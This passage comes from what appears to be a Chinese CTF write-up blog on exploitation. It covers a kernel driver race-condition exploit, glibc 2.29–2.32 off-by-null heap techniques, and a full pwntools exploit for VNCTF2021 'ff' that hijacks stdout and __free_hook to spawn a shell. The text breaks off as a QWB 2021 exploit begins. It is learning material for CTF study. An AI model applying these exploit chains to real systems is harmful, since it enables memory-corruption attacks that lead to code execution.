①关于dmesg,这个命令是获取从启动虚拟机开始的几乎所有的输出信息,所以如果我们打开baby这个dev,就能够得到里面printk函数的相关输出,然后把输出重定向到/tmp/record.txt这里面,再从record.txt中获取地址。同时由于是所有的输出信息,所以返回给我们的flag地址肯定是在最后面的,所以lseek(allInfo_fd,-0x1000,SEEK_END);从最后面往前获取0x1000个字节,然后再来用strstr获取子字符串索引,最后strtoull转换地址得到内核中flag的地址。

6

(3)然后创建线程,爆破修改数据中flag指向的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

MyflagStruc myflag;
myflag.len = 33;
myflag.flag = buf;
pthread_create(&myflag, NULL, change_attr_value,&myflag);
for(int i = 0; i < 0x1000; i ++){
ret = ioctl(fd, 0x1337, &myflag);
myflag.flag = buf;
}
finish = 1;
pthread_join(myflag, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");

线程方面这涉及回调函数相关知识,自己补吧。

(4)线程回调函数:修改flag指向内核的flag,从而能够通过逐字节验证

1
2
3
4
5
6
7
#注释头

void changeFlagAddr(void *myflag){
while(finish==0){
myflag->flag = kernelFlag_addr ;
}
}

4.一些注意事项:

(1)头文件的注意事项,和写小程序一样,自己加。

(2)线程注意事项:gcc编译时需要加上-lpthread参数,并且要静态编译。

(3)输入输出重定向:我看很多exp都有关闭输入输出流的,但是我尝试了一下,不用关其实也可以,可能是对应的环境关系吧。

1
2
3
4
5
#注释头

setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

(4)文件传输模块:

先转发一下启动程序:

1
2
3
#注释头

socat tcp-listen:30000,fork exec:./boot.sh,reuseaddr

可以用下列脚本,这个脚本参照这位师傅的:

https://blog.csdn.net/seaaseesa/article/details/104537991

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#注释头

# coding:utf8
from pwn import *
import base64

sh = remote('127.0.0.1',30000)

#exploit
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()

# segment send
per_length = 0x200;
# touch file
sh.sendlineafter('$ ','touch /tmp/exploit')

log.info("Total length:%d"%total)
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
print(i)

if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))

sh.sendlineafter('$ ','chmod +x /tmp/exploit')
sh.sendlineafter('$ ','/tmp/exploit')
sh.interactive()

(5)调试模块:

关于文件系统的选择方面,用精简版的Busybox开出来的qemu调试的时候获取加载模块的基地址总是出错,暂时不知道为什么后面补。

但是可以用2018强网杯core的文件系统,加载之后调试的基地址没问题,这个在ctfwiki上有。

2.29-2.32下的off-by-null

最近发现一种对于高版本libc更好的方法,不用爆破,先贴下连接:

https://www.anquanke.com/post/id/236078#h3-7

而且这个可以说是通杀除了2.33版本的所有Libc,因为没用用到tcache和fastbin,这位大佬WJH师傅真是神仙。但是他的有些地方有点出入,刚开始调试的时候容易直接干蒙,所以这里总结一下。

▲总的来说是运用unsortedbin来踩地址,然后再借用unsortedbin和Largebin加上off-by-null来修复fd,bk,从而能够通过新增的检查。这里我拿

第三届山东新一代信息技术创新应用大赛 werewolf2,原题是2.27的,这里用2.31模拟一下。

这道题来举例,题目不同chunk的索引对应变化。

1.首先堆风水布局,让我们之后申请用来利用的chunk的后一个字节可控,就是得为0x00,方便off-by-null利用。

1
2
3
#注释头

add(0x1000-0x8-0xf0,'padd')#0

这个堆布局看具体的环境,有的题上来先申请一堆堆块,容易搞蒙,d调一下就知道了。

2.然后准备堆块,结合之前的堆布局,需要满足条件:

1
2
3
4
5
6
7
8
9
#注释头

add(0x418,'\x01'*0x410) #1 fd 0x---2b0
add(0x108,'\x02*0x100') #2
add(0x418,'\x03'*0x410) #3
add(0x438,'\x04'*0x430) #4 unlink_chunk 0x---c00
add(0x108,'\x05'*0x100) #5
add(0x428,'\x06'*0x420) #6 bk 0x---150
add(0x208,'\x07'*0x200) #7

img

其中0x108大小的堆块主要是辅助加隔离,然后0x428之类的几个不同大小是为切割unsortedbin来搞事。然后这里我申请了0x208大小的堆块,这个堆块的作用主要就是隔离和填充,然后原贴的大佬由于size位用到了\x0a,是个换行符,Pwn中一般比骄敏感,容易无法发送,所以这里我多申请0x100,让之后的size位变成\x0b,方便利用。

3.然后就开始搞事,首先释放这几个chunk。

1
2
3
4
5
6
#注释头

free(1)
free(4)
free(6)
free(3)

满足如下:

img

释放顺序需要注意,要利用unsortedbin在0x—c00这个chunk上留下0x—2b0和0x—150的地址作为fd和bk,之后再修复fd->bk和bk->fd:

img

其中两个chunk合并了组成了0x—7e0这个chunk,方便切割之后修改0x—c00的size位。

4.之后申请chunk,从0x—7e0中申请切割,修改0x—c00的size位,同时会触发malloc_consolidate将0x—150和0x–2b0放入largebin中,这个没啥用,直接申请回来就可以了,主要是切割。

1
2
3
4
5
6
#注释头

add(0x438, '\x08'*0x418 + p64(0xb91)) #8 set size
add(0x418,'\x09'*0x410) # 9 0x---c20
add(0x428,'\x10'*0x420) # 10 bk 0x---150
add(0x418,'\x11'*0x410) # 11 fd 0x---2b0

img

5.之后就开始修复fd和bk,利用0x—c20和对应的fd,bk,进入unsortedbin来修复。

(1)修复fd:

先释放0x—2b0,然后释放0x—c20,利用unsortedbin来给0x—2b0的bk踩上0x—c20的地址,然后申请回来,方便之后修复bk(0x—150),同时将踩下的地址从0x—c20修改为0x—c00,即可修复成功。

1
2
3
4
5
6
#注释头

free(11) #0x---2b0
free(9) #0x---c20
add(0x418, 'PIG007nb') # 12 0x---c20 to overflow \x00 in fd
add(0x418,'\x13'*0x410) # 13 0x---c20

img

img

(2)修复bk:首先进入Unsortedbin中踩地址

1
2
3
4
#注释头

free(13)
free(10)

img

没啥问题 ,但是申请回来的时候有点大问题:

①如果先申请0x—c20,那么就会使得unsortedbin中顺序变为:

0x—150 -> main_arena+96,导致原先的0x—150.fd被修改,无法完成修复。

②如果先申请0x—150,那么由于unsortedbin机制,依据fd遍历,就会先遍历到0x—c20,导致0x—c20解链放入largebin中,unsortedbin中的情况和先申请0x—c20是一样的,先变成0x—150 -> main_arena+96,然后才会返回0x—150,fd都会被改。

▲所以先将这两个chunk放入largebin中,依据largebin的机制,由于这两个chunk的大小不同,直接申请对应大小就能得到对应的chunk,同时由于largebin排列依据从大到小,申请时也是先遍历大小再遍历fd,如果所需大小的链中只有该chunk,直接返回。所以就可以申请一个大chunk,将这两个chunk都放入largebin中,顺序为:

1
2
3
#注释头

add(0x9F8,'\x14') # 14 chunk into largebin

同时这个大chunk也是之后需要触发的off-by-null的chunk

img

之后再申请0x—150大小的chunk就能直接得到了,现在就修复完fd和bk了。

1
2
3
#注释头

add(0x428, '') # 15 partial overwrite fd

img

6.最后用off-by-null来设置触发chunk的size位

1
2
3
4
#注释头

edit(7,'\x77'*0x200+p64(0xb90))
free(14)

img

满足所有条件,释放

img

可以看到top_chunk已经向上合并到0x—c00了,之后就具体的具体分析就完事了。

▲最后贴个简单的exp,只是布局的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#注释头

add(0x1000-0x8-0xf0,'padd')#0

add(0x418,'\x01'*0x410) #1 fd 0x---2b0
add(0x108,'\x02*0x100') #2
add(0x418,'\x03'*0x410) #3
add(0x438,'\x04'*0x430) #4 unlink_chunk 0x---c00
add(0x108,'\x05'*0x100) #5
add(0x428,'\x06'*0x420) #6 bk 0x---150
add(0x208,'\x07'*0x200) #7

#left fd bk in 0x---c00
free(1)
free(4)
free(6)

#merge and carve to get 0x---c20 and change size which in 0x---c00
free(3)
add(0x438, '\x08'*0x418 + p64(0xb91)) #8 set size

#reply
add(0x418,'\x09'*0x410) # 9 0x---c20
add(0x428,'\x10'*0x420) # 10 bk 0x---150
add(0x418,'\x11'*0x410) # 11 fd 0x---2b0

#repair fd
free(11) #0x---2b0
free(9) #0x---c20
add(0x418, 'PIG007nb') # 12 0x---2b0 to overflow \x00 in fd
add(0x418,'\x13'*0x410) # 13 0x---c20


#repair bk
free(13)
free(10)
add(0x9F8,'\x14'*0x9f0) # let 0x---150 0x---c20 into largebin
add(0x428, '') # 15 0x---150 to overflow \x00 in fd

#trigger off-by-null
#add(0x418,'\x16'*0x410) # 16 c20
edit(7,'\x77'*0x200+p64(0xb90))
free(14)

2.29下的off-by-null

△相比2.29之前的版本中,在向上合并时加了一项检查:

1
2
3
4
#注释头

if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

就是检查上一个chunk的size是否等于当前chunk的pre_size。之前的off-by-null肯定是不等于的啊,所以这里就一定会出错。那么2.29的绕过方法就是通过smallbin和largebin来伪造一个chunk,满足:

1
2
3
4
5
#注释头

①fake_chunk->fd->bk == fake_chunk_addr
②fake_chunk->bk->fd == fake_chunk_addr
③fake_chunk->size = trigger_chunk->pre_size

其中③用来过新增加的检查:

1
2
3
4
#注释头

if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

①和②用来过unlink中的检查:

1
2
3
4
#注释头

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这样就能够成功off-by-null了,图示如下(用了t1an5g的博客的图片,侵删):

img

1.下面简单说下流程:

(1)进行一定的堆布局,使得起作用的chunk的堆地址为0xx…x0010,同时也方便计算偏移,从而进行低位字节覆盖。

(2)通过largebin的fd_nextsize指针和bk_nextsize指针,加上字节覆盖使得fake_chunk的fd指针指向指定FD(即下面的chunk18),fake_chunk的bk指针指向指定BK(即下面的chunk17)。

(3)通过fastbin和smallbin的连用,加上字节覆盖使得FD(chunk18)的bk指针指向fake_chunk。

(4)通过fastbin加上字节覆盖使得BK(chunk17)的fd指针指向fake_chunk。

(5)进行完以上操作就得到类似上图的堆布局,之后就可以绕过检查,触发off-by-null。

2.详细介绍一下具体实现方法:

(1)先申请17个chunk,chunk0-chunk16,其中chunk0-chunk7用来进行堆布局,使得后面的chunk15的地址为0xx..x0010,即使得申请的堆地址的第二个字节为”\x00”,以便之后覆盖的时候不用进行一字节爆破,从而进行对抗off-by-null的0字节溢出。当然,如果条件限制的话, 其实是可以不用chunk0-chunk7的布局,用一字节爆破来解决问题。chunk8-chunk14大小为0x28,用来填充0x30大小的tcache。chunk15即关键部分,chunk16防止合并。

(2)释放chunk15,size应该大于tcache的最大size,这里的chunk15最好设置大一点,大佬的博客设置了0xb20大小。然后chunk15就会进入unsortedbin中,由于unsortedbin中只有一个chunk15,所以chunk15的指针会有以下效果:

1
2
3
4
#注释头

chunk15->fd == main_arena+88(unsortebin_addr)
chunk15->bk == main_arena+88

(3)申请一个0x28大小的chunk17,同时由于此时bin中没有chunk,只有Unsortedbin才有chunk15,所以会将chunk15先放入largebin中,之后再从chunk15中切割,返回chunk17,所以此时chunk15在largebin中,又只有它一个chunk,由于放入largebin的赋值语句,所以在切割之前会变成:

1
2
3
4
5
6
#注释头

chunk15->fd == largebin_addr
chunk15->bk == largebin_addr
chunk15->fd_nextsize == chunk15_addr
chunk15->bk_nextsize == chunk15_addr

切割之后,chunk17获得了chunk15残留下来的fd,bk,fd_nextsize,bk_nextsize。因为chunk17是用来构造fake_chunk的,所以大小需要至少有0x20。那么此时的chunk17中内容就会如下:

1
2
3
4
5
6
#注释头

chunk17->fd == largebin_addr
chunk17->bk == largebin_addr
chunk17->fd_nextsize == chunk17_addr
chunk17->bk_nextsize == chunk17_addr

然后构造在chunk17里制作fake_chunk,满足:

1
2
3
4
5
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr

这里需要进行赋值:

1
2
3
4
#注释头

chunk17->fd = trigger_chunk->pre_size
chunk17->fd_nextsize = "\x40"

(后面会讲到为什么会这么赋值)之后的fake_chunk的bk自动继承了之前残留下来的指针。

(4)申请chunk18-chunk21,大小为0x28。使得chunk18-chunk21都是从chunk15中切割出来的,之后用chunk8-chunk14填满0x30的tcache,然后再顺序释放chunk20和chunk18,使得chunk18,chunk20进入fastbin(0x30)中,顺序为chunk18->chunk20。

(5)将chunk8-chunk14申请出来,清空tcache(0x30),然后再申请一个0x400大小的chunk(超过smallbin大小即可),这样就会将fastbin中的chunk,也就是chunk18和chunk20放入到smallbin中。由于smallbin和fastbin刚好相反,一个是FIFO一个是FILO,所以顺序会反过来,变成:chunk20->chunk18,但同时由于是bk寻址,所以再申请chunk会先把chunk18取出来,同时在smallbin中,那么就会满足chunk18->bk == chunk20_addr

(6)此时赋值chunk18->bk = fake_chunk_addr,这里不用知道堆地址,因为我们知道chunk20_addr - fake_chunk_addr == 0x80(sizeof(fake_chunk)+sizeof(chunk18)+sizeof(chunk19))。所以之前chunk0-chunk7就可以进行一些大小布局,使得chunk15_addr == 0xx…x0010,那么fake_chunk_addr == 0xx…x0020,chunk20_addr == 0xx…x00a0,这样我们就只需要把0xa0覆盖成0x20,也就是修改chunk18->bk的第一个字节为0x20即可。但同时由于off by null的关系,修改chunk18->bk的第一个字节势必会导致第二个字节为”\x00”,所以我们之前的堆布局也要使得chunk15_addr的第二个字节为”\x00”才可以。

那么现在也可以理解之前的一个赋值语句:chunk17->fd_nextsize = “\x40”,这里就是为了将”\x10”覆盖为”\x40”使其指向chunk18,同时使得第二个字节也为”\x00”。

这样就满足了:

1
2
3
4
5
6
7
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr
chun18->bk == fake_chunk_addr
chunk17->fd == chunk18_addr

但是chunk17->fd不等于fake_chunk_addr。那么同样的操作再来一次,利用chunk17和chunk19,使其进入fastbin,将chunk17的fd指向chunk19,然后再申请回来,覆盖chunk17的fd指针,0x70覆盖为0x20即可。(由于2.29下的tcache会有key字段,使得chunk17的bk指针被修改,相当于修改fake_chunk的size位,这不是我们想看到的,所以还是用fastbin比较好)流程如下:

①将chunk20从tcache中申请出来,防止之后不好操作,然后再将chunk8-chunk14放入tcache中,使得之后的chunk进入fastbin。

②顺序释放chunk19,chunk17,使其进入fastbin中,使得chunk17->fd == chunk19_addr,就是0xx…x70。

③然后将chunk8-chunk14申请回来,再将chunk17申请回来,覆盖chunk17的fd的第一个字节为0x20,那么就可以满足总的条件:

1
2
3
4
5
6
7
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr
chunk18->bk == fake_chunk_addr
chunk17->fd == fake_chunk_addr

(7)最后将chunk19申请回来,再从chunk15剩下的部分申请chunk22用来溢出。再申请chunk23将chunk15遗留的部分都申请回来,溢出之后释放掉,即可触发off by null,向上合并最初的chunk15-0x10大小的chunk,使得fake_chunk,chunk18,chunk19,chunk20,chunk21,chunk22,chunk23都被置入unsortedbin中。利用chunk8-chunk14对抗tcache,就可以随便玩了。(注意这里不需要像之前版本的off by null一样,还需要释放掉chunk0来绕过unlink检查,之前是因为不检查size位,所以直接释放掉即可。这里的fake_chunk已经替代了chunk0的作用,能够绕过Unlink的检查和size位的检查)

3.最后模拟一下代码,同样参考了大佬t1an5g的博客

(1)前期准备加堆布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头

for i in range(7): # 0-6
add(0x1000, "padding")
add(0x1000-0x410, "padding") # 7

for i in range(7): # 8-14
add(0x28, 'tcache')

#crux chunk15
add(0xb20, "largebin") # 15

#prevent merge
add(0x10, "padding") # 16

(2)制作fake_chunk,利用largebin踩下fd_nextsize和bk_nextsize:

1
2
3
4
5
6
7
8
9
#注释头

delete(15)

#chunk15 to largebin
add(0x1000, '\n')

#make fake_chunk in chunk17
add(0x28, p64(0) + p64(0x521) + p8(0x40))

(3)联动fastbin和smallbin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

add(0x28, 'a') # 18
add(0x28, 'b') # 19
add(0x28, 'c') # 20
add(0x28, 'd') # 21

# fill in tcache(0x30)
for i in range(7): # 8-14
delete(8 + i)

delete(20)
delete(18)

# clear tcache(0x30)
for i in range(7): # 8-14
add(0x28, 'padding')

# fastbin to smallbin
add(0x400, 'padding')

# get chunk18 from smallbin ,chunk20 to tcache
# change chunk18->bk to point to fake_chunk
add(0x28, p64(0) + p8(0x20))

(4)利用fastbin修改chunk17->fd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

# clear chunk from tcache
add(0x28, 'clear') # 20 from tcache

for i in range(7): # 8-14
delete(8 + i)

# free to fastbin
delete(19)
delete(17)

for i in range(7): # 8-14
add(0x28, '\n')

# change chunk17->fd to point to fake_chunk
add(0x28, p8(0x20))

(5)触发off-by-null:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

add(0x28, "clear")#19 from fastbin

add(0x28, "a") # 22 cutting from chunk15 in unsortebin,for overwrite
add(0x5f8, "a") # 23 legacy from chunk15 in unsortebin,for trigger off-by-null
add(0x100, "padding") # 24

# off-by-null
edit(22, "a"*0x20 + p64(0x520))

# trigger
delete(23)

△以上的chunk索引对于题目具体分析,不同题目对索引的处理肯定不一样。

其实还有其他只利用unsortedbin和largebin的绕过,贴一下地址:

https://www.anquanke.com/post/id/236078#h3-14

后面再来啃吧。

2.32下的tcache利用-VNCTF2021 ff

通过这题学习下2.32下的tcache,同时还学到好多东西。

1.先解析下题目,大概是提供了分配、释放、编辑、打印堆块的功能,不过限制了只能打印一次、编辑两次,同时还限制了不能分配0x90及以上的堆块。然后释放功能指针没清空,有UAF,保护全开。

img

2.首先泄露地址:因为2.32要利用doble-free必须泄露堆地址,所以show()功能肯定先被用掉,直接从free的chunk的fd指针泄露出heap_base,因为2.32的safe-linking异或机制就是下一个chunk和heap_base异或放入fd。

那么就思考之后怎么泄露Libc地址,可以通过劫持IO来泄露,但是劫持IO也需要libc地址才行啊,这里就用到爆破,利用unsortebin来留下地址在tcache结构体上,然后部分写2个字节来爆破半个字节。因为IO和main_arena其实相距不是太远,调试就可以知道。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#注释头

#leak heap_base
new(0x80,'PIG007NB')
free()
show()
heap_leak = u64(rc(5).ljust(8,'\x00'))
heap_base = heap_leak*0x1000
log.info("heap_base:0x%x"%heap_base)

#change key to make double free
edit('PIG007NBPIG007NB')
free()

#change 0x290(7) to free tcache(0x290) into unsortedbin
edit(p64((heap_leak) ^ (heap_base + 0x10)))
new(0x80, 'PIG007NB')
new(0x80, '\x00\x00' *((0x290-0x20)/0x10) + '\x07\x00')
free()
#--------------------------------------------
new(0x88, ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x88, '\x00'))
#--------------------------------------------

被#—————————包裹起来的部分,这里只能申请0x48或者0x88大小的,因为tcache结构体被破坏,很多bin的数量变大了,不再是0x0,但是tcache中对应的Bin链表中仍然是0x0,再申请对应大小的就会触发程序异常,其实就是放入tcache空闲bin链表的时候错误:

img

img

3.然后就是劫持IO泄露地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#注释头

new(0x18,p64(heap_base+0x330)+'\xbb') #will be used later
new(0x18,p16(0x66c0))
new(0x78,p64(0xfbad1800) + p64(0)*3 + p64(heap_base+0xa8)+p64(heap_base+0xb0)+p64(heap_base+0xb0))

#new(0x78,p64(0xfbad1800) + p64(0)*3 + b'\x00')
#this will be OK
main_arena = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00')) - 0xbb - 96
test = main_arena>>40
log.info("main_arena:0x%x"%main_arena)
log.info("test:0x%x"%test)
if(test != 0x7f):
return
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
#stdout_addr = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00'))-132
# log.info("stdout_addr:0x%x"%stdout_addr)
# obj = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
# libc_base = stdout_addr-obj.dump('_IO_2_1_stdout_')

system_addr = libc_base + obj.dump("system")
__free_hook_addr = libc_base + obj.dump("__free_hook")

log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
log.info("__free_hook_addr:0x%x"%__free_hook_addr)

4.最后就是填充,将unsortedbin申请完之后,将unsortedbin从Tcache的结构体中脱离出来,防止再申请的时候乱套。这里直接从topchunk申请,安全一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x18,'PIG007NB')
new(0x18,'PIG007NB')


#one_gadget = libc_base + 0xdf54c
new(0x88, p64(__free_hook_addr^(heap_base/0x1000)))
new(0x38, p64(system_addr))
new(0x38, p64(system_addr))

new(0x10, b'/bin/sh\x00')
pause()
free()
p.interactive()

5.最后贴个爆破的exp,有些借鉴了arttnba3师傅的:

https://arttnba3.cn/2021/05/10/NOTE-0X04-GLIBC_HEAP-EXPLOIT/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#注释头

# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./pwn"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("libc_base:0x%x"%libc_base)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so', './pwn'], env={"LD_PRELOAD":"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6"})
#p = process(['./ld-2.32.so', './pwn'], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)



def cmd(command):
p.recvuntil(b">>")
p.sendline(str(command).encode())

def new(size, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)

def free():
cmd(2)

def show():
cmd(3)

def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)

def exp():

#leak heap_base
new(0x80,'PIG007NB')
free()
show()
heap_leak = u64(rc(5).ljust(8,'\x00'))
heap_base = heap_leak*0x1000
log.info("heap_base:0x%x"%heap_base)

#change key to make double free
edit('PIG007NBPIG007NB')
free()

#change 0x290(7) to free tcache(0x290) into unsortedbin
edit(p64((heap_leak) ^ (heap_base + 0x10)))
new(0x80, 'PIG007NB')
new(0x80, '\x00\x00' *((0x290-0x20)/0x10) + '\x07\x00')
free()
#--------------------------------------------
new(0x88, ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x88, '\x00'))
#--------------------------------------------


new(0x18,p64(heap_base+0x330)+'\xbb') #will be used later
new(0x18,p16(0x66c0))
new(0x78,p64(0xfbad1800) + p64(0)*3 + p64(heap_base+0xa8)+p64(heap_base+0xb0)+p64(heap_base+0xb0))

#new(0x78,p64(0xfbad1800) + p64(0)*3 + b'\x00')
#this will be OK
main_arena = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00')) - 0xbb - 96
test = main_arena>>40
log.info("main_arena:0x%x"%main_arena)
log.info("test:0x%x"%test)
if(test != 0x7f):
return
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
#stdout_addr = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00'))-132
# log.info("stdout_addr:0x%x"%stdout_addr)
# obj = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
# libc_base = stdout_addr-obj.dump('_IO_2_1_stdout_')

system_addr = libc_base + obj.dump("system")
__free_hook_addr = libc_base + obj.dump("__free_hook")

log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
log.info("__free_hook_addr:0x%x"%__free_hook_addr)

new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x18,'PIG007NB')
new(0x18,'PIG007NB')


#one_gadget = libc_base + 0xdf54c
new(0x88, p64(__free_hook_addr^(heap_base/0x1000)))
new(0x38, p64(system_addr))
new(0x38, p64(system_addr))

new(0x10, '/bin/sh\x00')
pause()
free()
p.interactive()

count = 1
while True:
try:
print('the no.' + str(count) + ' try')
p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so', './pwn'], env={"LD_PRELOAD":"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6"})
#p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp()

except Exception as e:
print(e)
p.close()
count = count + 1
continue

▲总结一下:

(1)IO_FILE的新知识:

new(0x78,p64(0xfbad1800) + p64(0)*3 + b’\x00’)

(2)2.32Tcache机制:

①放入tcache对应bin链表时会异或heap_base/0x1000,并且fd也会变化。

②bin链表中的count和申请与否的关系:

如果tcache的对应bin的count为0,则不会从该Tcache中申请。

如果大于等于1,那么就需要看tcache结构体上对应bin链表存放的chunk地址是否为一个合法的了,如果不合法则会申请失败,程序退出。(应该都是这样的)

③需要修改Key字段才能double free,即free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache的bin上,如果在则视为程序在 double free,进而终止程序。

2021-QWB

一、baby_diary

2.31下的off-by-null,多溢出半个字节,所以总共需要爆破一个字节。这里还需要绕过read的检查,不过我这个布局完之后刚好可以通过,也就没太管了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./baby_diary"
libc_file = "./libc-2.31.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
